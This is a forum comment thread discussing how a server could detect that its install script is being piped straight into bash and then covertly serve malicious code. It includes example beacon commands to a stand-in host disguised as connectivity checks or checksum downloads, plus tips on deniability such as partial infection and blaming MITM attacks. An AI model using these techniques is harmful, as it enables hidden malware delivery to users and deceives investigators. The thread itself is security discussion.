← Back to context

Comment by charleslmunger

7 years ago

The sleep cleverness is excessive though - what you really want to know is if the script you're returning is being executed as it's sent. If it is, then you can be pretty confident that a human isn't reading it line by line.

1. Send your response as transfer-encoding: chunked and tcp_nodelay

2. Send the first command as

    curl www.example.com/$unique_id

Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.

You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

    # Check network connectivity so we can continue the install
    if ! curl --fail www.example.com; then exit; fi

Of course, what actually is happening is that we've just informed the server to now serve our malicious code.

  • Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.

    • If binaries are being downloaded, then the dynamically generated malicious script could pretend it's a checksum when really it's a unique tracking URL.

          curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz
      

      If the time between the script being downloaded and that file being requested is large, serve the clean copy, else download the malicious binary.

    • Well it's okay to not infect every target. In fact, if you are being malicious, it would be better to only infect some targets so as to muddy the waters when someone is trying to investigate your actions after the fact.

      You can claim that you were MITM'd and point to the non-infectious cases as evidence that you always send a good payload.

That's mistaken because:

  bash -c "`echo echo hi`"

note that `echo echo hi` is fully read, and then (and only then) passed to bash.

ditto for

  echo -c "`curl <your url>`"

The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.

It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.

  • Which part is mistaken?

    You're of course correct that the general problem is unsolvable - but the goal is to opportunistically infect people who directly paste the "curl example.com/setup | bash" that's helpfully provided in your getting started guide, without serving an obviously malicious payload to someone who could be inspecting it.

    • Sorry, 2AM. You're right of course.

      I think the real message is that this is a new class of timing attack, and that it should be treated as such. E.g. curl itself needs to be updated to buffer its own output.

      6 replies →

Hm. I tried and it does not seem to work. You can view my attempt at https://github.com/sethgrid/exploit. Chances are that I am ignorant of something. If someone knows what am doing wrong, please let me know!

The code starts to send chunked data and polls for a return curl call from the downloaded script. If the script's curl call calls home, the download will chunk out "bad" bash.

What I see happening is the downloaded script does not fully run until fully downloaded.

This would reveal your intent to a human reader. I think the author of the article was trying to avoid doing that.

  • Fooling a human with bash is less difficult than you might imagine. I am fooled by bash code at least half the time I interact with a shell script I didn't write myself. A misleading comment plus an innocuous looking URL, coupled with the fact that an installation script can be expected to download files from the internet in order to install them would make this slip past nearly any reviewer.